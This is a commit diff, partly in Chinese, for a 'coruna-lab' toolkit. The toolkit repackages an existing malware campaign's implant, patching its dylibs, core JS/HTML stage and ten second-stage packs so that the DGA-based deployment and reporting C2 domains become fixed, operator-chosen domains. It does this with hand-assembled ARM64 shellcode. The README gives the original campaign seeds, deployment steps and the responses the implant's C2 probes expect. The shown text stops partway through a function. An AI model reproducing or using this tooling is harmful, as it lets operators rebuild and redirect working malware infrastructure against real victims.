init
This commit is contained in:
+72
-77
@@ -1,105 +1,100 @@
|
||||
# coruna-lab 工具:DGA seed 替换
|
||||
# coruna-lab 工具:DGA seed / 固定域名
|
||||
|
||||
## 新建 / 刷新工作树(推荐)
|
||||
## 推荐:固定域名列表(多域名探测)
|
||||
|
||||
`source/web` + `source/sync` 为 campaign 原样模板。脚本会复制到 **coruna-lab 根目录** 再打补丁:
|
||||
植入体本身已有「候选列表里哪个可用用哪个」。脚本把 Deployment / Reporting 的 DGA 生成替换为你给的域名列表,并同步改:
|
||||
|
||||
- core(`erupt_flee.js` + `daily.html` 的 sha256/size)
|
||||
- 全部 type0x01 二级包(10 个 `.min.js`)
|
||||
|
||||
```bash
|
||||
cd coruna-lab
|
||||
# 需 py7zr + pycryptodome(macOS 可用 /usr/bin/python3;Homebrew python 建议 venv)
|
||||
pip3 install py7zr pycryptodome
|
||||
|
||||
python3 tools/new_project.py
|
||||
python3 tools/new_project.py \
|
||||
--deployment-domains 'www.dep1.example,www.dep2.example' \
|
||||
--reporting-domains 'www.rep1.example,www.rep2.example,www.rep3.example'
|
||||
```
|
||||
|
||||
等价于:
|
||||
|
||||
1. `source/web` → `coruna-lab/web`(覆盖)
|
||||
2. `source/sync` → `coruna-lab/sync`(覆盖)
|
||||
3. `python3 tools/patch_all.py --apply --root .`
|
||||
|
||||
产物:
|
||||
|
||||
- `web/…`、`sync/` — 可服务树(二级包 + daily/erupt 已换 seed)
|
||||
- `out/seeds.json` — 本次 seed
|
||||
- `out/domains.json` — Deployment / Reporting 候选域名
|
||||
|
||||
常用选项:
|
||||
也支持重复传参:
|
||||
|
||||
```bash
|
||||
python3 tools/new_project.py --skip-patch # 只复制,不打补丁
|
||||
python3 tools/new_project.py \
|
||||
--deployment-domains www.dep1.example \
|
||||
--deployment-domains www.dep2.example \
|
||||
--reporting-domains www.rep1.example \
|
||||
--reporting-domains www.rep2.example
|
||||
```
|
||||
|
||||
产物(`new_project.py` 写入 `server/public/`):
|
||||
|
||||
- `server/public/web/…`、`server/public/sync/` — 可直接由 Laravel public 提供
|
||||
- `server/public/out/seeds.json` — 内部仍写入 seed(供池身份匹配)
|
||||
- `server/public/out/domains.json` — 最终生效的域名列表
|
||||
- `server/public/out/sync/MANIFEST.json` — core sha/size + domains
|
||||
|
||||
约束:
|
||||
|
||||
- 每池最多 **8** 个域名,单域名 ≤ 63 ASCII
|
||||
- 可写 `https://host`(会自动去掉 scheme/path/port)
|
||||
- 部署后把这些域名 DNS/hosts 指到你的 lab server(443)
|
||||
- Deployment 需响应 `/sync/daily.html`;Reporting 需 `/api/user/query` → `OK`
|
||||
- `daily.html` 打到 **Deployment 域名**(不是投递站 `/web/...`);type-0x01 起来后才会请求
|
||||
- 固定域名 shellcode 曾有 callee-saved 寄存器未保存的 bug(会在探测前崩);请用当前 `tools/_domain_patch.py` 重新 `--apply` 后再部署 `web/` + `sync/`
|
||||
- macOS 建议用 `/usr/bin/python3`(需 `py7zr` + `pycryptodome`);Homebrew 3.14 常缺 `Crypto`
|
||||
|
||||
---
|
||||
|
||||
## 仅重建(已有 server/public web/sync)
|
||||
|
||||
```bash
|
||||
# 若尚无 web/ + sync/,--apply 会自动从 source/ 复制一份
|
||||
python3 tools/patch_all.py --apply --root server/public \
|
||||
--deployment-domains 'www.dep1.example,www.dep2.example' \
|
||||
--reporting-domains 'www.rep1.example,www.rep2.example'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 旧模式:只换 DGA seed(算域名)
|
||||
|
||||
不传 `--*-domains` 时行为与以前相同:随机/指定 seed,DGA 生成候选域名。
|
||||
|
||||
```bash
|
||||
python3 tools/new_project.py
|
||||
# 或
|
||||
python3 tools/new_project.py \
|
||||
--deployment-seed 09d0b8d58a71653cd1c89c64c866f2e6 \
|
||||
--reporting-seed 2d2aebba0bf3d7d694194a7ab93b0a96
|
||||
```
|
||||
|
||||
---
|
||||
### Seed 格式
|
||||
|
||||
## 仅重建(已有根目录 web/sync)
|
||||
|
||||
```bash
|
||||
python3 tools/patch_all.py --root .
|
||||
# 写入根目录 web/ + sync/:
|
||||
python3 tools/patch_all.py --apply --root .
|
||||
```
|
||||
|
||||
`--apply` **必须**带 `--root`,且不会写入 `source/`。
|
||||
|
||||
也可手动指定 seed:`--deployment-seed … --reporting-seed …`。
|
||||
- ASCII,长度 ≤ 32(二进制槽位定长 32)
|
||||
- 推荐正好 32 个十六进制字符
|
||||
- Deployment / Reporting 各一个
|
||||
|
||||
---
|
||||
|
||||
## 当前(原 campaign)seed
|
||||
|
||||
需要提供 **2 个** seed(Deployment + Reporting),不是一个。
|
||||
|
||||
| 角色 | 原 seed(正好 32 字符 hex) |
|
||||
|------|-----------------------------|
|
||||
| Deployment(dev)DGA | `09d0b8d58a71653cd1c89c64c866f2e6` |
|
||||
| Reporting DGA | `2d2aebba0bf3d7d694194a7ab93b0a96` |
|
||||
|
||||
### 格式要求
|
||||
|
||||
- ASCII,**长度 ≤ 32**(二进制槽位定长 32;更长会破坏相邻字符串)
|
||||
- **推荐正好 32 个十六进制字符**(与原样一致)
|
||||
- 短于 32 可以,脚本会在槽位内用 `NUL` 填充
|
||||
- Deployment / Reporting **各提供一个**,彼此独立
|
||||
|
||||
依赖:
|
||||
|
||||
```bash
|
||||
pip3 install py7zr pycryptodome
|
||||
```
|
||||
|
||||
源 dylib 仍读自 `coruna-online/`;未 `--apply` 时产物写到 `out/`(或 `<root>/out/`)。
|
||||
`--apply` 覆盖的是 **工作树** 的 `web/…/*.min.js`(二级)与 `sync/{daily.html,erupt_flee.js}`。
|
||||
|
||||
---
|
||||
|
||||
## 1. 二级包:改 seed → 重打 10 个 `.min.js`
|
||||
## 分步脚本
|
||||
|
||||
```bash
|
||||
# 二级包 type0x01
|
||||
python3 tools/patch_secondary_packs.py \
|
||||
--deployment-seed <32hex> \
|
||||
--reporting-seed <32hex> \
|
||||
--root . \
|
||||
--apply
|
||||
```
|
||||
--deployment-seed <32hex> --reporting-seed <32hex> \
|
||||
--deployment-domains 'a.com,b.com' --reporting-domains 'c.com,d.com' \
|
||||
--root . --apply
|
||||
|
||||
## 2. Core / daily
|
||||
|
||||
```bash
|
||||
# core + daily 校验
|
||||
python3 tools/patch_core.py \
|
||||
--deployment-seed <32hex> \
|
||||
--reporting-seed <32hex> \
|
||||
--root . \
|
||||
--apply
|
||||
```
|
||||
--deployment-seed <32hex> --reporting-seed <32hex> \
|
||||
--deployment-domains 'a.com,b.com' --reporting-domains 'c.com,d.com' \
|
||||
--root . --apply
|
||||
|
||||
## 3. 只算域名
|
||||
|
||||
```bash
|
||||
# 只算 DGA 域名(固定域名模式不需要)
|
||||
python3 tools/compute_dga_domains.py \
|
||||
--deployment-seed <32hex> \
|
||||
--reporting-seed <32hex> \
|
||||
-n 5
|
||||
--deployment-seed <32hex> --reporting-seed <32hex> -n 5
|
||||
```
|
||||
|
||||
源 dylib 仍读自 `coruna-online/`;`--apply` 写入工作树 `web/` + `sync/`(不会写 `source/`)。
|
||||
|
||||
+8
-4
@@ -66,10 +66,14 @@ def set_tree_root(root: Path) -> Path:
|
||||
def ensure_tree_layout(root: Path) -> None:
|
||||
camp = root / "web" / CAMPAIGN_HASH
|
||||
sync = root / "sync"
|
||||
if not camp.is_dir():
|
||||
raise SystemExit(f"missing campaign dir: {camp}")
|
||||
if not sync.is_dir():
|
||||
raise SystemExit(f"missing sync dir: {sync}")
|
||||
if not camp.is_dir() or not sync.is_dir():
|
||||
raise SystemExit(
|
||||
f"missing working tree under {root} (need web/{CAMPAIGN_HASH}/ and sync/).\n"
|
||||
f"Run first:\n"
|
||||
f" python3 tools/new_project.py --skip-patch\n"
|
||||
f"or directly:\n"
|
||||
f" python3 tools/new_project.py --deployment-domains '...' --reporting-domains '...'"
|
||||
)
|
||||
|
||||
|
||||
def pack_seed(value: str) -> bytes:
|
||||
|
||||
@@ -0,0 +1,621 @@
|
||||
"""Patch PLServerPool DGA helper to return fixed domain lists (probe/failover kept)."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import struct
|
||||
from dataclasses import dataclass, field
|
||||
|
||||
from _common import OLD_DEP, OLD_REP, pack_seed
|
||||
|
||||
_SUB_SP_E0 = 0xD10383FF
|
||||
_MURMUR = bytes.fromhex("21368f52e1c6b372")
|
||||
_NOP = 0xD503201F
|
||||
|
||||
MAX_DOMAINS_PER_POOL = 8
|
||||
MAX_DOMAIN_LEN = 63
|
||||
|
||||
|
||||
@dataclass
|
||||
class SlicePatch:
|
||||
file_offset: int
|
||||
size: int
|
||||
cpu_subtype: int
|
||||
|
||||
|
||||
@dataclass
|
||||
class SliceInfo:
|
||||
blob: bytes
|
||||
file_offset: int
|
||||
cpu_subtype: int
|
||||
sections: dict[str, tuple[int, int]] = field(default_factory=dict) # name -> (vm/file off, size)
|
||||
|
||||
@property
|
||||
def is_arm64e(self) -> bool:
|
||||
return bool(self.cpu_subtype & 0x80000000)
|
||||
|
||||
|
||||
def iter_slices(data: bytes) -> list[SlicePatch]:
|
||||
magic = struct.unpack_from("<I", data, 0)[0]
|
||||
if magic in (0xBEBAFECA, 0xCAFEBABE):
|
||||
nfat = struct.unpack_from(">I", data, 4)[0]
|
||||
out: list[SlicePatch] = []
|
||||
for i in range(nfat):
|
||||
o = 8 + i * 20
|
||||
_ct, cs, soff, ssize, _align = struct.unpack_from(">IIIII", data, o)
|
||||
out.append(SlicePatch(soff, ssize, cs))
|
||||
return out
|
||||
return [SlicePatch(0, len(data), 0)]
|
||||
|
||||
|
||||
def _parse_slice(data: bytes, sl: SlicePatch) -> SliceInfo:
|
||||
blob = data[sl.file_offset : sl.file_offset + sl.size]
|
||||
info = SliceInfo(blob=blob, file_offset=sl.file_offset, cpu_subtype=sl.cpu_subtype)
|
||||
_magic, _ct, _cs, _ft, ncmds = struct.unpack_from("<IIIII", blob, 0)
|
||||
off = 32
|
||||
for _ in range(ncmds):
|
||||
cmd, cmdsize = struct.unpack_from("<II", blob, off)
|
||||
if cmd == 0x19: # LC_SEGMENT_64
|
||||
nsects = struct.unpack_from("<I", blob, off + 64)[0]
|
||||
so = off + 72
|
||||
for _s in range(nsects):
|
||||
sn = blob[so : so + 16].split(b"\x00")[0].decode()
|
||||
saddr = struct.unpack_from("<Q", blob, so + 32)[0]
|
||||
ssize = struct.unpack_from("<Q", blob, so + 40)[0]
|
||||
sfo = struct.unpack_from("<I", blob, so + 48)[0]
|
||||
# In these binaries vmaddr == fileoff for most sections.
|
||||
info.sections[sn] = (sfo if sfo else saddr, ssize)
|
||||
so += 80
|
||||
off += cmdsize
|
||||
return info
|
||||
|
||||
|
||||
def normalize_domain(raw: str) -> str:
|
||||
value = raw.strip()
|
||||
if not value:
|
||||
raise SystemExit("empty domain")
|
||||
for prefix in ("https://", "http://"):
|
||||
if value.lower().startswith(prefix):
|
||||
value = value[len(prefix) :]
|
||||
value = value.split("/")[0].strip()
|
||||
if ":" in value:
|
||||
host, port = value.rsplit(":", 1)
|
||||
if port.isdigit():
|
||||
value = host
|
||||
if len(value) > MAX_DOMAIN_LEN:
|
||||
raise SystemExit(f"domain longer than {MAX_DOMAIN_LEN}: {value!r}")
|
||||
if not all(32 <= ord(ch) < 127 for ch in value):
|
||||
raise SystemExit(f"domain must be ASCII: {value!r}")
|
||||
return value
|
||||
|
||||
|
||||
def parse_domain_list(values: list[str] | None, *, label: str) -> list[str]:
|
||||
if not values:
|
||||
raise SystemExit(f"{label}: provide at least one domain")
|
||||
out: list[str] = []
|
||||
for item in values:
|
||||
for part in str(item).split(","):
|
||||
part = part.strip()
|
||||
if part:
|
||||
out.append(normalize_domain(part))
|
||||
if not out:
|
||||
raise SystemExit(f"{label}: provide at least one domain")
|
||||
if len(out) > MAX_DOMAINS_PER_POOL:
|
||||
raise SystemExit(f"{label}: at most {MAX_DOMAINS_PER_POOL} domains")
|
||||
seen: set[str] = set()
|
||||
uniq: list[str] = []
|
||||
for d in out:
|
||||
if d not in seen:
|
||||
seen.add(d)
|
||||
uniq.append(d)
|
||||
return uniq
|
||||
|
||||
|
||||
def pack_domain_tables(dep: list[str], rep: list[str]) -> tuple[bytes, bytes]:
|
||||
def one(domains: list[str]) -> bytes:
|
||||
return bytes([len(domains)]) + b"".join(d.encode("ascii") + b"\x00" for d in domains)
|
||||
|
||||
return one(dep), one(rep)
|
||||
|
||||
|
||||
def _enc_bl(pc: int, target: int) -> int:
|
||||
imm = (target - pc) // 4
|
||||
if not (-0x2000000 <= imm < 0x2000000):
|
||||
raise SystemExit(f"bl out of range {pc:#x}->{target:#x}")
|
||||
return 0x94000000 | (imm & 0x3FFFFFF)
|
||||
|
||||
|
||||
def _enc_b(pc: int, target: int) -> int:
|
||||
imm = (target - pc) // 4
|
||||
if not (-0x2000000 <= imm < 0x2000000):
|
||||
raise SystemExit(f"b out of range {pc:#x}->{target:#x}")
|
||||
return 0x14000000 | (imm & 0x3FFFFFF)
|
||||
|
||||
|
||||
def _enc_adr(rd: int, pc: int, target: int) -> int:
|
||||
imm = target - pc
|
||||
if not (-1048576 <= imm < 1048576):
|
||||
raise SystemExit(f"adr out of range {pc:#x}->{target:#x}")
|
||||
immlo = imm & 3
|
||||
immhi = (imm >> 2) & 0x7FFFF
|
||||
return 0x10000000 | (immlo << 29) | (immhi << 5) | rd
|
||||
|
||||
|
||||
def _enc_adrp(rd: int, pc: int, target: int) -> int:
|
||||
imm = (target >> 12) - (pc >> 12)
|
||||
if not (-1048576 <= imm < 1048576):
|
||||
raise SystemExit(f"adrp out of range {pc:#x}->{target:#x}")
|
||||
immlo = imm & 3
|
||||
immhi = (imm >> 2) & 0x1FFFFF
|
||||
return 0x90000000 | (immlo << 29) | (immhi << 5) | rd
|
||||
|
||||
|
||||
def _enc_ldr64_uoff(rt: int, rn: int, offset: int) -> int:
|
||||
if offset % 8:
|
||||
raise SystemExit("ldr offset must be 8-aligned")
|
||||
imm12 = offset // 8
|
||||
if not (0 <= imm12 <= 0xFFF):
|
||||
raise SystemExit(f"ldr offset too large: {offset}")
|
||||
return 0xF9400000 | (imm12 << 10) | (rn << 5) | rt
|
||||
|
||||
|
||||
def _decode_ptr(raw: int, blob_len: int) -> int | None:
|
||||
"""Decode plain or dyld-chained rebase pointer to a file/vm offset."""
|
||||
if 0 < raw < blob_len:
|
||||
return raw
|
||||
# dyld_chained_ptr_64_rebase / arm64e variants: low 36 bits often hold target
|
||||
target = raw & ((1 << 36) - 1)
|
||||
if 0 < target < blob_len:
|
||||
return target
|
||||
return None
|
||||
|
||||
|
||||
def _find_cfstring_for_cstring(info: SliceInfo, cstring_off: int) -> int:
|
||||
blob = info.blob
|
||||
# Fast path: plain pointer
|
||||
ptr = struct.pack("<Q", cstring_off)
|
||||
start = 0
|
||||
while True:
|
||||
i = blob.find(ptr, start)
|
||||
if i < 0:
|
||||
break
|
||||
if i >= 16:
|
||||
cfs = i - 16
|
||||
length = struct.unpack_from("<Q", blob, cfs + 24)[0]
|
||||
if length == 32:
|
||||
return cfs
|
||||
start = i + 1
|
||||
|
||||
# arm64e: scan __cfstring
|
||||
off, size = info.sections.get("__cfstring", (0, 0))
|
||||
if size:
|
||||
for i in range(0, size, 32):
|
||||
base = off + i
|
||||
_isa, _flags, raw, length = struct.unpack_from("<QQQQ", blob, base)
|
||||
if length != 32:
|
||||
continue
|
||||
tgt = _decode_ptr(raw, len(blob))
|
||||
if tgt == cstring_off:
|
||||
return base
|
||||
raise SystemExit(f"CFString not found for cstring @{cstring_off:#x}")
|
||||
|
||||
|
||||
def _find_stub_for_selector(info: SliceInfo, name: bytes) -> int:
|
||||
blob = info.blob
|
||||
name_off = blob.find(name + b"\x00")
|
||||
if name_off < 0:
|
||||
raise SystemExit(f"missing selector {name!r}")
|
||||
|
||||
selrefs: list[int] = []
|
||||
# plain
|
||||
ptr = struct.pack("<Q", name_off)
|
||||
start = 0
|
||||
while True:
|
||||
i = blob.find(ptr, start)
|
||||
if i < 0:
|
||||
break
|
||||
selrefs.append(i)
|
||||
start = i + 1
|
||||
# chained
|
||||
off, size = info.sections.get("__objc_selrefs", (0, 0))
|
||||
if size:
|
||||
for i in range(0, size, 8):
|
||||
base = off + i
|
||||
raw = struct.unpack_from("<Q", blob, base)[0]
|
||||
if _decode_ptr(raw, len(blob)) == name_off:
|
||||
selrefs.append(base)
|
||||
|
||||
if not selrefs:
|
||||
raise SystemExit(f"missing selref for {name!r}")
|
||||
|
||||
stubs_off, stubs_size = info.sections.get("__objc_stubs", (0xC0000, 0x40000))
|
||||
lo = stubs_off
|
||||
hi = stubs_off + stubs_size if stubs_size else min(len(blob), 0x100000)
|
||||
|
||||
for selref in selrefs:
|
||||
for i in range(lo, hi, 4):
|
||||
ins = struct.unpack_from("<I", blob, i)[0]
|
||||
if (ins & 0x9F000000) != 0x90000000 or (ins & 0x1F) != 1:
|
||||
continue
|
||||
immlo = (ins >> 29) & 3
|
||||
immhi = (ins >> 5) & 0x1FFFFF
|
||||
imm = (immhi << 2) | immlo
|
||||
if imm & (1 << 20):
|
||||
imm -= 1 << 21
|
||||
page = ((i >> 12) + imm) << 12
|
||||
ins2 = struct.unpack_from("<I", blob, i + 4)[0]
|
||||
if (ins2 & 0xFFC00000) != 0xF9400000 or (ins2 & 0x1F) != 1:
|
||||
continue
|
||||
imm12 = (ins2 >> 10) & 0xFFF
|
||||
if page + imm12 * 8 == selref:
|
||||
return i
|
||||
raise SystemExit(f"missing objc stub for selector {name!r}")
|
||||
|
||||
|
||||
def _find_classrefs(info: SliceInfo, body: int) -> tuple[int, int]:
|
||||
blob = info.blob
|
||||
cr_off, cr_size = info.sections.get("__objc_classrefs", (0x127E80, 0x400))
|
||||
cr_lo, cr_hi = cr_off, cr_off + cr_size
|
||||
hits: list[int] = []
|
||||
|
||||
# LDR literal (common in arm64)
|
||||
for pc in range(body, body + 0x100, 4):
|
||||
ins = struct.unpack_from("<I", blob, pc)[0]
|
||||
if (ins & 0xFF000000) != 0x58000000:
|
||||
continue
|
||||
imm19 = (ins >> 5) & 0x7FFFF
|
||||
if imm19 & 0x40000:
|
||||
imm19 -= 0x80000
|
||||
lit = pc + imm19 * 4
|
||||
if cr_lo <= lit < cr_hi:
|
||||
hits.append(lit)
|
||||
|
||||
# ADRP+LDR
|
||||
for pc in range(body, body + 0x100, 4):
|
||||
ins = struct.unpack_from("<I", blob, pc)[0]
|
||||
if (ins & 0x9F000000) != 0x90000000:
|
||||
continue
|
||||
rd = ins & 0x1F
|
||||
immlo = (ins >> 29) & 3
|
||||
immhi = (ins >> 5) & 0x1FFFFF
|
||||
imm = (immhi << 2) | immlo
|
||||
if imm & (1 << 20):
|
||||
imm -= 1 << 21
|
||||
page = ((pc >> 12) + imm) << 12
|
||||
if not (cr_lo <= page < cr_hi or cr_lo <= page + 0xFFF < cr_hi + 0x1000):
|
||||
continue
|
||||
ins2 = struct.unpack_from("<I", blob, pc + 4)[0]
|
||||
if (ins2 & 0xFFC00000) != 0xF9400000:
|
||||
continue
|
||||
if ((ins2 >> 5) & 0x1F) != rd:
|
||||
continue
|
||||
imm12 = (ins2 >> 10) & 0xFFF
|
||||
lit = page + imm12 * 8
|
||||
if cr_lo <= lit < cr_hi:
|
||||
hits.append(lit)
|
||||
|
||||
# de-dupe preserve order
|
||||
uniq: list[int] = []
|
||||
for h in hits:
|
||||
if h not in uniq:
|
||||
uniq.append(h)
|
||||
if len(uniq) >= 2:
|
||||
return uniq[0], uniq[1]
|
||||
if len(uniq) == 1:
|
||||
# NSString classref usually follows NSMutableArray
|
||||
return uniq[0], uniq[0] + 8
|
||||
# last resort: first two slots
|
||||
return cr_off, cr_off + 8
|
||||
|
||||
|
||||
def _collect_branch_targets(
|
||||
blob: bytes, lo: int, hi: int, *, ops: tuple[int, ...] = (0x94000000,)
|
||||
) -> list[int]:
|
||||
out: list[int] = []
|
||||
for i in range(lo, min(hi, len(blob) - 4), 4):
|
||||
ins = struct.unpack_from("<I", blob, i)[0]
|
||||
op = ins & 0xFC000000
|
||||
if op not in ops:
|
||||
continue
|
||||
imm = ins & 0x3FFFFFF
|
||||
if imm & 0x2000000:
|
||||
imm -= 0x4000000
|
||||
out.append(i + imm * 4)
|
||||
return out
|
||||
|
||||
|
||||
def _discover_dga(blob: bytes) -> tuple[int, int, int]:
|
||||
idx = blob.find(_MURMUR)
|
||||
if idx < 0:
|
||||
raise SystemExit("DGA murmur constant not found")
|
||||
body = None
|
||||
for back in range(0, 0x300, 4):
|
||||
addr = idx - back
|
||||
if addr >= 0 and struct.unpack_from("<I", blob, addr)[0] == _SUB_SP_E0:
|
||||
body = addr
|
||||
break
|
||||
if body is None:
|
||||
raise SystemExit("DGA prologue not found")
|
||||
entry = body
|
||||
if body >= 8:
|
||||
ins_b = struct.unpack_from("<I", blob, body - 8)[0]
|
||||
ins_pac = struct.unpack_from("<I", blob, body - 4)[0]
|
||||
if (ins_b & 0xFC000000) == 0x14000000 and ins_pac in (0xD503237F, 0xD503233F):
|
||||
entry = body - 8
|
||||
end = body + 0x360
|
||||
for a in range(body + 0x80, body + 0x400, 4):
|
||||
if a + 4 > len(blob):
|
||||
break
|
||||
if struct.unpack_from("<I", blob, a)[0] == _SUB_SP_E0:
|
||||
end = a
|
||||
break
|
||||
return entry, body, end
|
||||
|
||||
|
||||
def _resolve_runtime_stubs(blob: bytes, body: int, end: int) -> dict[str, int]:
|
||||
"""Map objc_retain / release / retainAutoreleased / autoreleaseReturnValue stubs."""
|
||||
early = _collect_branch_targets(blob, body, body + 0x50, ops=(0x94000000,))
|
||||
all_bl = _collect_branch_targets(blob, body, end, ops=(0x94000000,))
|
||||
all_b = _collect_branch_targets(blob, body, end, ops=(0x14000000,))
|
||||
if not early:
|
||||
raise SystemExit("DGA helper has no early bl (objc_retain)")
|
||||
retain = early[0]
|
||||
page = retain & ~0xFFF
|
||||
# libobjc stub island on same 4K page
|
||||
island = sorted({t for t in (all_bl + all_b) if (t & ~0xFFF) == page})
|
||||
if retain not in island:
|
||||
island = sorted(set(island + [retain]))
|
||||
# Typical layout near retain: ... autoreleaseReturn, release, retain, retainAutoreleased
|
||||
lower = [t for t in island if t < retain]
|
||||
higher = [t for t in island if t > retain]
|
||||
release = lower[-1] if lower else None
|
||||
auto_ret = lower[-2] if len(lower) >= 2 else (lower[0] if lower else None)
|
||||
retain_auto = higher[0] if higher else None
|
||||
# Fallbacks if ordering differs
|
||||
if release is None and len(island) >= 2:
|
||||
release = next((t for t in island if t != retain), None)
|
||||
if retain_auto is None and len(island) >= 3:
|
||||
retain_auto = next((t for t in island if t not in (retain, release)), None)
|
||||
if auto_ret is None:
|
||||
auto_ret = next((t for t in all_b if (t & ~0xFFF) == page), None)
|
||||
if None in (retain, release, retain_auto, auto_ret):
|
||||
raise SystemExit(
|
||||
f"runtime stubs incomplete island={[hex(x) for x in island]} "
|
||||
f"retain={retain!r} release={release!r} retainAuto={retain_auto!r} autoRet={auto_ret!r}"
|
||||
)
|
||||
return {
|
||||
"retain": retain,
|
||||
"release": release,
|
||||
"retainAutoreleased": retain_auto,
|
||||
"autoreleaseReturn": auto_ret,
|
||||
}
|
||||
|
||||
|
||||
def _apply_shellcode(
|
||||
blob: bytes,
|
||||
*,
|
||||
entry: int,
|
||||
end: int,
|
||||
stubs: dict[str, int],
|
||||
class_array: int,
|
||||
class_string: int,
|
||||
dep_cf: int,
|
||||
rep_cf: int,
|
||||
dep_pack: bytes,
|
||||
rep_pack: bytes,
|
||||
label: str,
|
||||
) -> bytes:
|
||||
avail = end - entry
|
||||
code: list[int] = []
|
||||
labels: dict[str, int] = {}
|
||||
pending: list[tuple[int, str, str]] = []
|
||||
|
||||
def pc() -> int:
|
||||
return entry + len(code) * 4
|
||||
|
||||
def emit(ins: int) -> None:
|
||||
code.append(ins & 0xFFFFFFFF)
|
||||
|
||||
def mark(name: str) -> None:
|
||||
labels[name] = pc()
|
||||
|
||||
def bl(target: int) -> None:
|
||||
emit(_enc_bl(pc(), target))
|
||||
|
||||
def b_label(name: str) -> None:
|
||||
pending.append((len(code), "b", name))
|
||||
emit(0)
|
||||
|
||||
def cbz(rt: int, name: str) -> None:
|
||||
pending.append((len(code), f"cbz{rt}", name))
|
||||
emit(0)
|
||||
|
||||
def cbnz(rt: int, name: str) -> None:
|
||||
pending.append((len(code), f"cbnz{rt}", name))
|
||||
emit(0)
|
||||
|
||||
def adr(rd: int, name: str) -> None:
|
||||
pending.append((len(code), f"adr{rd}", name))
|
||||
emit(0)
|
||||
|
||||
def adrp_ldr(rd: int, abs_addr: int) -> None:
|
||||
p = pc()
|
||||
emit(_enc_adrp(rd, p, abs_addr))
|
||||
emit(_enc_ldr64_uoff(rd, rd, abs_addr & 0xFFF))
|
||||
|
||||
# Save every callee-saved reg we touch (x19-x22, x25). Omitting these
|
||||
# corrupts _generateDomainsLocked and aborts before any /sync probe.
|
||||
emit(0xA9BC7BFD) # stp x29, x30, [sp, #-0x40]!
|
||||
emit(0xA9014FF4) # stp x20, x19, [sp, #0x10]
|
||||
emit(0xA90257F6) # stp x22, x21, [sp, #0x20]
|
||||
emit(0xA90367FA) # stp x26, x25, [sp, #0x30]
|
||||
emit(0x910103FD) # add x29, sp, #0x40
|
||||
emit(0xAA0003F3) # mov x19, x0 ; seed
|
||||
bl(stubs["retain"])
|
||||
|
||||
emit(0xAA1303E0)
|
||||
adr(2, "dep_cf")
|
||||
bl(stubs["isEqualToString"])
|
||||
cbz(0, "check_rep")
|
||||
adr(21, "dep_table")
|
||||
b_label("build")
|
||||
|
||||
mark("check_rep")
|
||||
emit(0xAA1303E0)
|
||||
adr(2, "rep_cf")
|
||||
bl(stubs["isEqualToString"])
|
||||
cbz(0, "empty")
|
||||
adr(21, "rep_table")
|
||||
b_label("build")
|
||||
|
||||
mark("empty")
|
||||
adrp_ldr(0, class_array)
|
||||
emit(0xD2800002)
|
||||
bl(stubs["arrayWithCapacity"])
|
||||
bl(stubs["retainAutoreleased"])
|
||||
emit(0xAA0003F4)
|
||||
b_label("done")
|
||||
|
||||
mark("build")
|
||||
emit(0x394002B6)
|
||||
emit(0x910006B5)
|
||||
adrp_ldr(0, class_array)
|
||||
emit(0x2A1603E2)
|
||||
bl(stubs["arrayWithCapacity"])
|
||||
bl(stubs["retainAutoreleased"])
|
||||
emit(0xAA0003F4)
|
||||
|
||||
mark("loop")
|
||||
cbz(22, "done")
|
||||
adrp_ldr(0, class_string)
|
||||
emit(0xAA1503E2)
|
||||
bl(stubs["stringWithUTF8"])
|
||||
bl(stubs["retainAutoreleased"])
|
||||
emit(0xAA0003F9)
|
||||
emit(0xAA1403E0)
|
||||
emit(0xAA1903E2)
|
||||
bl(stubs["addObject"])
|
||||
emit(0xAA1903E0)
|
||||
bl(stubs["release"])
|
||||
mark("scan")
|
||||
emit(0x394002A8)
|
||||
emit(0x910006B5)
|
||||
cbnz(8, "scan")
|
||||
emit(0x510006D6)
|
||||
b_label("loop")
|
||||
|
||||
mark("done")
|
||||
emit(0xAA1303E0) # mov x0, x19
|
||||
bl(stubs["release"])
|
||||
emit(0xAA1403E0) # mov x0, x20 ; NSArray*
|
||||
emit(0xA94367FA) # ldp x26, x25, [sp, #0x30]
|
||||
emit(0xA94257F6) # ldp x22, x21, [sp, #0x20]
|
||||
emit(0xA9414FF4) # ldp x20, x19, [sp, #0x10]
|
||||
emit(0xA8C47BFD) # ldp x29, x30, [sp], #0x40
|
||||
emit(_enc_b(pc(), stubs["autoreleaseReturn"]))
|
||||
|
||||
table_off = entry + len(code) * 4
|
||||
if table_off % 4:
|
||||
while (entry + len(code) * 4) % 4:
|
||||
emit(_NOP)
|
||||
table_off = entry + len(code) * 4
|
||||
dep_table = table_off
|
||||
rep_table = table_off + len(dep_pack)
|
||||
abs_map = {
|
||||
"dep_cf": dep_cf,
|
||||
"rep_cf": rep_cf,
|
||||
"dep_table": dep_table,
|
||||
"rep_table": rep_table,
|
||||
}
|
||||
|
||||
for idx, kind, name in pending:
|
||||
p = entry + idx * 4
|
||||
if kind.startswith("adr"):
|
||||
rd = int(kind[3:])
|
||||
code[idx] = _enc_adr(rd, p, abs_map[name])
|
||||
continue
|
||||
target = labels[name]
|
||||
imm19 = (target - p) // 4
|
||||
if kind == "b":
|
||||
code[idx] = _enc_b(p, target)
|
||||
elif kind.startswith("cbz"):
|
||||
rt = int(kind[3:])
|
||||
code[idx] = 0x34000000 | ((imm19 & 0x7FFFF) << 5) | rt
|
||||
elif kind.startswith("cbnz"):
|
||||
rt = int(kind[4:])
|
||||
code[idx] = 0x35000000 | ((imm19 & 0x7FFFF) << 5) | rt
|
||||
else:
|
||||
raise SystemExit(f"{label}: bad fixup {kind}")
|
||||
|
||||
payload = b"".join(struct.pack("<I", ins) for ins in code) + dep_pack + rep_pack
|
||||
if len(payload) > avail:
|
||||
raise SystemExit(
|
||||
f"{label}: need {len(payload)} bytes, only {avail} free in DGA region"
|
||||
)
|
||||
|
||||
new_blob = bytearray(blob)
|
||||
new_blob[entry : entry + avail] = payload + b"\x00" * (avail - len(payload))
|
||||
return bytes(new_blob)
|
||||
|
||||
|
||||
def patch_fixed_domains_in_dylib(
|
||||
data: bytes,
|
||||
deployment_domains: list[str],
|
||||
reporting_domains: list[str],
|
||||
*,
|
||||
deployment_seed: str,
|
||||
reporting_seed: str,
|
||||
label: str,
|
||||
) -> bytes:
|
||||
dep = parse_domain_list(deployment_domains, label="deployment")
|
||||
rep = parse_domain_list(reporting_domains, label="reporting")
|
||||
dep_pack, rep_pack = pack_domain_tables(dep, rep)
|
||||
out = bytearray(data)
|
||||
seed_dep = pack_seed(deployment_seed)
|
||||
seed_rep = pack_seed(reporting_seed)
|
||||
|
||||
for si, sl in enumerate(iter_slices(data)):
|
||||
